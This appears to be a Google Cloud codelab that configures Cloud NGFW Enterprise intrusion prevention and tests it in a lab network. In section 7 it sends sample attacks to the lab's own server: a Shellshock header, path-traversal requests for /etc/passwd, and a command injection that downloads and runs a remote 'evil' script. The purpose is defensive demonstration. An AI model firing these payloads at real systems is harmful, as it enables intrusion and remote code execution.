Cloud NGFW Enterprise - Intrusion Prevention Service (without TLS Inspection)

1. Introduction

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall is a fully distributed firewall service with advanced protection capabilities, micro-segmentation, and pervasive coverage to protect your Google Cloud workloads from internal and external attacks.

Cloud NGFW has the following benefits:

• Distributed firewall service: Cloud NGFW provides a stateful, fully distributed host-based enforcement on each workload to enable zero-trust security architecture.
• Simplified configuration and deployment: Cloud NGFW implements network and hierarchical firewall policies that can be attached to a resource hierarchy node. These policies provide a consistent firewall experience across the Google Cloud resource hierarchy.
• Granular control and micro-segmentation: The combination of firewall policies and Identity and Access Management (IAM)-governed Tags provides fine control for both north-south and east-west traffic, down to a single VM, across Virtual Private Cloud (VPC) networks and organizations.

Cloud NGFW is available in the following tiers:

• Cloud Next Generation Firewall Essentials
• Cloud Next Generation Firewall Standard
• Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise adds Intrusion Prevention Service (IPS), a Layer 7 capability, to the distributed Google Cloud Firewall fabric. TLS inspection is supported to allow inspection for TLS encrypted traffic, but it's outside the scope of this codelab (see Cloud NGFW Enterprise Codelab with TLS Inspection).

You can now deploy reliable Layer 7 Next Generation Firewall (NGFW) inspections with granular controls, without making any changes to your network architecture or routing configurations.

To activate and deploy Layer 7 firewall control with IPS, you need to perform the following tasks:

• Create a set of Google Cloud managed zonal firewall endpoints.
• Optionally create a TLS Inspection Policy (not covered in this codelab)
• Optionally create a Trust Config (not covered in this codelab)
• Associate these endpoints with the Virtual Private Cloud (VPC) networks where you need the Cloud NGFW Enterprise service.
• Make simple changes to your existing firewall policies and firewall rules to specify the threat prevention profiles for the various traffic paths.

Network firewall policies

Network firewall policy acts as a container for firewall rules. Rules defined in a network firewall policy are not enforced anywhere until the policy is associated with a VPC network. Each VPC network can have one network firewall policy associated with it. Network firewall policies support IAM-governed Tags (or just Tags) in firewall rules, which replace current network tags and can be used to provide identity to workload.

Sharing a network firewall policy across networks and the integration with IAM-governed Tags greatly simplifies the configuration and management of firewalls.

With the introduction of network firewall policy, Google Cloud's firewall policies now consists of the following components:

1. Hierarchical Firewall Policy
2. VPC Firewall Rules
3. Network Firewall Policy ( Global and Regional)

Hierarchical firewall policies are supported at the organization and folder nodes within the resource hierarchy, whereas VPC firewall rules and network firewall policies get applied at the VPC level. A big difference between VPC firewall rules and network firewall policies is that VPC firewall rules can be applied only to a single VPC network, whereas network firewall policies can get attached to a single VPC or group of VPCs, amongst other benefits like batch updates.

Finally, we also have the implied firewall rules that come with every VPC network:

• An egress rule whose action is allow, destination is 0.0.0.0/0
• An ingress rule whose action is deny, source is 0.0.0.0/0

By default, the enforcement sequence is shown in the following diagram:

Please note that the enforcement order between the VPC firewall rules and the global network firewall policy can be swapped. Customers can specify the enforcement order at any time with a gcloud command.

IAM-governed Tags

The new Tags integrated in network firewall policy rules are key-value pair resources defined at the organization or project-level of the Google Cloud resource hierarchy. Such a Tag contains an IAM access control, as the name implies, that specifies who can do what on the tag. IAM permissions, for instance, allow one to specify which principals can assign values to tags and which principals can attach tags to resources. Once a Tag has been applied to a resource, network firewall rules can use it to allow and deny traffic.

Tags adhere to Google Cloud's inheritance resource model, meaning tags and their values are passed down across the hierarchy from their parents. As a result, tags may be created in one place and then used by other folders and projects throughout the resource hierarchy. Visit this page for details on tags and access restriction.

Tags should not be confused with network tags. The latter are strings that can be added to Compute Engine instances; they are associated with the instance and vanish when the instance is decommissioned. VPC firewall rules may include network tags, but since they are not regarded as cloud resources, they are not subject to IAM access control.

Note that Tags and IAM-governed Tags are being used interchangeably in this document.

What you'll build

This codelab requires a single project and ability to create a VPC network with public connectivity, and will demonstrate how Cloud NGFW Enterprise can provide IPS functionality by:

• Inspecting intra-VPC/subnet flows [East-West]
• Inspecting ingress flows from the Internet [North-South]

The flows to be inspected will be selected using Cloud Firewall matching parameters including 5-tuple (source IP, destination IP, protocol, source port, destination port) and Tags. TLS Inspection is not included in this codelab.

The network firewall policy rulebase will be similar to the table below:

Priority	Direction	Target	Source	Destination	Action	Type
100	Egress	Quarantine_Tag	Any	Any	Deny	Essentials
1000	Ingress	Server_Tag	Health-Check Ranges	Any	Allow	Essentials
2000	Ingress	Any	Identity-Aware Proxy Ranges	Any	Allow	Essentials
3000	Ingress	Any	Geo, GCTI	Any	Deny	Standard
4000	Egress	Any	Any	Geo, GCTI	Deny	Standard
5000	Egress	Any	Any	System update FQDNs	Allow	Standard
6000	Ingress	Server_Tag	10.0.0.0/24	Any	IPS	Enterprise
7000	Ingress	Server_Tag	CloudNAT_IP	Any	IPS	Enterprise

What you'll learn

• How to create a global network firewall policy
• How to create and use Tags with network firewall policy
• How to configure and use Cloud NGFW Enterprise Intrusion Prevention Service

What you'll need

• Google Cloud project
• Knowledge of deploying instances and configuring networking components
• VPC firewall configuration knowledge

2. Before you begin

Create/update variables

This codelab makes use of $variables to aid gcloud configuration implementation in Cloud Shell.

In Cloud Shell, run the commands below replacing the information within brackets as required (skip setting the project if the desired one is already set). A different variable is used for organization-level resources if multiple e.g. firewall endpoints are needed.

Note: You can also get the organization id by using the Cloud Console or gcloud projects get-ancestors [project-id].

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

Note: If you have worked with Google Cloud before and have gcloud installed, up-to-date, and authenticated to your project already, feel free to use your local computer instead of Cloud Shell for this lab. Unless specifically noted, all gcloud commands should be run from a computer that already has ***gcloud*** ***installed or Cloud Shell.***

3. Enable APIs

Enable the APIs if you have not done so:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise Security Profile and Endpoint Creation

Note: Cloud NGFW Enterprise requires organization level permissions to create Security Profiles and Firewall Endpoints (not within scope of this codelab). Make sure to assign the roles before proceeding. Projects appear under No organization if the user does not have the resourcemanager.organizations.get permission on the parent organization resource of the project.

Note: Make sure that the Network Security API is enabled. If you get an error message by running the commands below or are not sure, run gcloud services enable networksecurity.googleapis.com and try again.

Since the Cloud NGFW Enterprise Endpoint creation takes about 20 minutes, it will be created first and the base setup can be done in parallel while the endpoint is being created.

Create the Security Profile and Security Profile Group:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Expected output:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Confirm that the resources were successfully created:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Expected output:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Create the Cloud NGFW Enterprise endpoint:

Note: There are quotas associated with Cloud NGFW Enterprise endpoints, such as number of firewall endpoints per zone per organization. Make sure to use a different name and/or zone and adjust the commands accordingly if needed.

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Run the command below to confirm that the endpoint is being created (STATE: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Expected output (note that the output format may vary according to the client being used):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Optionally, run the command below to get more details:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Expected output:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

The endpoint creation process takes about 20 minutes. Proceed to the Base Setup section to create the required resources in parallel.

5. Base Setup

Proceed to the following sections if you prefer to manually create the base resources.

VPC network and subnet

Note: Make sure that the Compute Engine API is enabled. If you get an error message by running the commands below or are not sure, run gcloud services enable compute.googleapis.com and try again.

VPC Network and subnet

Create the VPC network and subnet:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Create the Cloud Routers and Cloud NAT gateways:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instances

Note: For security reasons, this codelab assumes that Identity-Aware Proxy for TCP Forwarding is enabled, to allow SSH access without assigning public IP addresses to the instances. Please configure it before proceeding (a firewall rule that allows SSH traffic from the Identity-Aware Proxy ranges will be added in the next steps as part of the base setup).

Create the client and web-server instances:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Project-level Tags

Note: This codelab assumes that the user has the required permissions to manage and use Tags (or assign the role to the user if needed). Please configure it before proceeding.

Assign tagAdmin and/or tagUser permissions to the user if needed:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Create the project-level Tag key and values:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Bind tags to instances:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Global network firewall policy

Create global network firewall policy:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Create Cloud Firewall Essential rules to deny traffic from quarantined instances (created as example only, not being used in this codelab) and allow traffic from health-check and identity-aware proxy ranges:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Create Cloud Firewall Standard rules to deny ingress and egress traffic from/to embargoed countries, known malicious IPs and ToR exit nodes; and only allow egress traffic to specific FQDNs for system updates (created as example only, not being used in this codelab):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Create Cloud Firewall rules to allow ingress east-west / intra-subnet and north-south / internet traffic from the specific ranges (these rules will be updated to enable Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associate the network firewall policy to the VPC network:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

External TCP/UDP Network Load Balancer

Reserve an external IP address and create the instance group and health-check:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Create backend service and forwarding rule:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Cloud NGFW Enterprise Endpoint Association

Redefine the environment variables if needed.

Confirm that the Cloud Firewall Endpoint creation was successfully completed. Only proceed once the state is shown as ACTIVE (during the creation the expected state is CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Expected output (note that the output format may vary according to the client being used):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Optionally, run the command below to get more details:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Expected output:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Note: Make sure that the Cloud NGFW Enterprise endpoint state is ACTIVE before proceeding.

Associate the Cloud NGFW Enterprise endpoint to the VPC network:

Note: Make sure to adjust the endpoint name if a different format was chosen during firewall endpoint creation.

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

The association process takes about 10 minutes. Only proceed once the state is shown as ACTIVE (the expected state is CREATING during the creation process):

gcloud network-security firewall-endpoint-associations list

Expected output:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Optionally, run the command below to get more details:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Expected output:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

Note: Make sure that the Cloud NGFW Enterprise association state is ACTIVE before proceeding.

7. Cloud NGFW Enterprise Inspection Rules

Open a new tab and initiate an SSH connection to the client VM through IAP (you will need to define the variables again in the new tab):

Note: For security reasons, this codelab assumes that Identity-Aware Proxy for TCP Forwarding is enabled, in order to allow SSH access without assigning public IP addresses to the instances. Please configure it before proceeding. Note that the traffic from the IAP range [35.235.240.0/20] was allowed when creating the global network firewall policy.

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Define the required variables in the SSH session and set the variables (make sure that the values are correct):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

Note: If a permission error message is issued when trying to run the gcloud commands above, you can either manually set the IP addresses to the variables or assign a role with the required IAM permissions to the default Service Account e.g. by running the command below through Cloud Shell

gcloud projects add-iam-policy-binding $project_id --member \

serviceAccount:$[e-mail] \

--role roles/compute.instanceAdmin

curl both IPs to confirm they are reachable:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Expected result for both curl requests:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Send sample attacks to the internal server IP (East-West / intra-VPC traffic). The web server should respond to all requests, confirming that there is no L7 inspection/prevention in place:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Resend the sample attacks to the external server IP through Cloud NAT (North-South inbound traffic), and similarly the web server should respond to all requests:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Expected results for both public and private IPs:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Switch back to Cloud Shell and update the existing ingress rules to enable L7 inspection:

Note: Make sure to adjust the security profile group name if a different format was chosen during security profile group creation, which can be verified by running the command below:

gcloud network-security security-profile-groups list \

--organization $org_id --location=global --filter=$prefix

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Optionally, describe the firewall rules to verify that both were successfully updated:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Expected output:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Rule 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Expected output:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Switch back to the client VM and re-send the sample attacks to the internal server IP (East-West / Intra-VPC inspection):

Note: Make sure that the environment variables are still set, which can be verified by running the commands below:

printenv target_privateip

printenv target_nlbip

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Resend the sample attacks to the external server IP through Cloud NAT (North-South inbound inspection):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

No responses are received for the first attacks as per the expected output below, confirming that the high severity attacks are now being blocked.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Navigate to Network Security > Threats on the Cloud Console to verify the logs (you may need to refresh a few times if the attacks are not yet displayed).

Note: Different actions are enforced depending on the attack severity when using the default configuration. You can override the actions associated with specific threat signatures or severity levels.

Choose one of the attacks and click on "View audit log" on the right side (open in a new tab to easily switch back). Expand the attack to show the details:

Optionally, replace the Log Explorer filter with the query below:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Threat log entries should be seen as per below:

Cloud Firewall intercepted packets can be verified using the Log Explorer filter below (helpful for troubleshooting purposes):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

Continue to Internet traffic inspection (optional) or close the SSH session and proceed to the next chapter for the clean-up steps.

[Optional] Internet traffic inspection

As verified in the previous section, the inspected flows so far are intra-subnet/VPC (East-West) and incoming traffic from the Internet (North-South inbound). Cloud NGFW Enterprise can also be configured to inspect all internet traffic (North-South outbound) by creating a new egress rule using Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Switch back to the client VM and resend high severity attacks to the external server IP:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Expected output:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Switch to the Threats tab on the Cloud Console to verify the logs (you may need to refresh a few times). The attacks should have been identified and logged again, but now the source IP is internal because an egress rule is being triggered first:

Close the SSH session and proceed to the next section for the clean-up steps.

8. Clean-Up steps

Cloud NGFW Enterprise Components Clean-Up

List existing Cloud NGFW Enterprise associations:

gcloud network-security firewall-endpoint-associations list

Delete the Cloud NGFW Enterprise association:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone

Note: Make sure that the Cloud NGFW Enterprise association endpoint was DELETED before proceeding. You can confirm it by running the command below:

gcloud network-security firewall-endpoint-associations list

Note: The organization-level resources (Cloud Firewall Endpoint, Security Profile Group and Threat Profile) can be reused and associated with multiple VPC networks (note the relevant quotas). Skip to the Base Setup Clean-Up section if you would like to keep them.

List existing Cloud NGFW Enterprise endpoints:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Delete the Cloud NGFW Enterprise endpoint, which can take about 20 minutes:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Confirm that the Cloud NGFW Enterprise was deleted by running the command below:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Delete the Security Profile Group and Threat Prevention Profile:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Base Setup Clean-Up

Proceed to the next step if you prefer to delete the base resources.

Define the environment variables if needed. From Cloud Shell, delete Network Load Balancer components:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Remove instances:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Optionally, perform the steps below if tagAdmin and tagUsers roles were changed:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Remove Tag key and values:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Delete the Cloud Firewall Network Policy and association:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Delete Cloud Router and Cloud NAT:

